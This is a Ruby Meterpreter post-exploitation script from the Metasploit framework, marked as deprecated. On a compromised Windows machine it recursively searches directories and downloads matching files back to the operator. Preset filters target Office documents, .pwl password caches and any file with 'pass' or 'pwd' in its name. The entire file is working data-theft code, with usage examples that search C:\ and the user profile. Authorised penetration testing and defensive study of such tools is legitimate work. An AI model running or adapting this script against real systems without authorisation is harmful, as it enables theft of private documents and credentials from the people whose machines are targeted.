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##
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# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
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# If you'd like to improve this script, please try to port it as a post
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# module instead. Thank you.
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##
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## Meterpreter script that recursively search and download
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## files matching a given pattern
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## Provided by Nicob <nicob [at] nicob.net>
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##                 ==   WARNING   ==
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## As said by mmiller, this kind of script is slow and noisy :
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## http://www.metasploit.com/archive/framework/msg01670.html
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## However, it can sometimes save your ass ;-)
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##                 ==   WARNING   ==
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# Filters
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$filters = {
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  'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$',
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  'win9x'  => '\.pwl$',
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  'passwd' => '(pass|pwd)',
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}
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@@opts = Rex::Parser::Arguments.new(
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  "-h" => [ false,"Help menu." ]
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)
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def usage
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  print_line "search_dwld -- recursively search for and download files matching a given pattern"
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  print_line "USAGE: run search_dwld [base directory] [filter] [pattern]"
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  print_line
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  print_line "filter can be a defined pattern or 'free', in which case pattern must be given"
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  print_line "Defined patterns:"
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  print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n")
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  print_line
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  print_line "Examples:"
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  print_line " run search_dwld"
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  print_line "	=> recursively look for (MS|Open)Office in C:\\"
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  print_line " run search_dwld %USERPROFILE% win9x"
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  print_line "	=> recursively look for *.PWL files in the user home directory"
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  print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'"
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  print_line "	=> recursively look for pictures in the E: drive"
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  print_line(@@opts.usage)
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  raise Rex::Script::Completed
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end
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@@opts.parse(args) { |opt, idx, val|
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  case opt
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  when "-h"
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    usage
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  end
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}
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def scan(path)
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  begin
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    dirs = client.fs.dir.foreach(path)
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  rescue ::Rex::Post::Meterpreter::RequestError => e
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    print_error("Error scanning #{path}: #{$!}")
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    return
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  end
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  dirs.each {|x|
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    next if x =~ /^(\.|\.\.)$/
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    fullpath = path + '\\' + x
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    if client.fs.file.stat(fullpath).directory?
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      scan(fullpath)
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    elsif fullpath =~ /#{$motif}/i
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      # Replace ':' or '%' or '\' by '_'
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      dst = fullpath.tr_s(":|\%|\\", "_")
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      dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst)
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      print_line("Downloading '#{fullpath}' to '#{dst}'")
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      client.fs.file.download_file(dst, fullpath)
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    end
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  }
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end
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#check for proper Meterpreter Platform
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def unsupported
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  print_error("This version of Meterpreter is not supported with this Script!")
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  raise Rex::Script::Completed
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end
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unsupported if client.platform != 'windows'
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# Get arguments
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basedir = args[0] || "C:\\"
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filter  = args[1] || "office"
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# Set the regexp
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if filter == 'free'
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  if args[2].nil?
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    raise "free filter requires pattern argument"
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  end
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  $motif = args[2]
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else
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  $motif = $filters[filter]
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end
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if $motif.nil?
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  raise "Unrecognized filter"
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end
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# Search and download
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scan(basedir)
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